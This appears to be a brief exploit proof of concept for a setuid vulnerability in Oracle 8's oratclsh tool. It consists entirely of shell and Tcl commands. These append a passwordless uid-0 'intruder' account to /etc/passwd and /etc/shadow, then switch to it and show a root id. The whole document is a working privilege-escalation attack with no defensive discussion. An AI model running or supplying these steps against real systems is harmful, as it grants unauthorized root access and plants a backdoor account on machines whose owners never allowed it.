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Oracle 8 oratclsh Suid Vulnerability

./oratclsh
% set f [open "/etc/passwd" "a+"]
% puts $f "intruder:x:0:1:intruder:/tmp/intruder:/bin/sh"
% close $f
% set f [open "/etc/shadow" "a+"]
% puts $f "intruder::::::::"
% close $f
% exit

$ su - intruder
$ id
uid=0(root) gid=1(other)